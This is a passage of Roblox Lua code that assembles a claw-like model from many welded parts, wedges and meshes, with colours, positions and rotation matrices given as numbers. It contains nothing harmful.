  695. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  696. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  697. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  698. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  699. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  700. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  701. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  702. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  703. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  704. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  705. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  706. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  707. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  708. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  709. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  710. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  711. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  712. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  713. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  714. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  715. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  716. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  717. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  718. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  719. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  720. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  721. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  722. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  723. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  724. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  725. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  726. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  727. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  728. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  729. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  730. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  731. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  732. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  733. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  734. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  735. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  736. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  737. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  738. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  739. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  740. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  741. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  742. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  743. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  744. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  745. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  746. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Baby blue", "Part", Vector3.new(1, 1, 1))
  747. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  748. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  749. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  750. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  751. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  752. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  753. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  754. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  755. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  756. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  757. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  758. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  759. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  760. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  761. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  762. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  763. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  764. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  765. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  766. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  767. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  768. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  769. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  770. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  771. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  772. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  773. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  774. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  775. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  776. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  777. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  778. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  779. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  780. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  781. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  782. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  783. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  784. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  785. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  786. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  787. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  788. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  789. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  790. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  791. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  792. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  793. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  794. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  795. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  796. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  797. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  798. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  799. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  800. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  801. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  802. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  803. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  804. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  805. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  806. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  807. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  808. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  809. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  810. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  811. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  812. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  813. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  814. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  815. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  816. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  817. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  818. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  819. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  820. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  821. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  822. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  823. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  824. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  825. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  826. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  827. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  828. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  829. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  830. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  831. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  832. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  833. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  834. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  835. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Baby blue", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  836. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  837. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  838. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  839. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
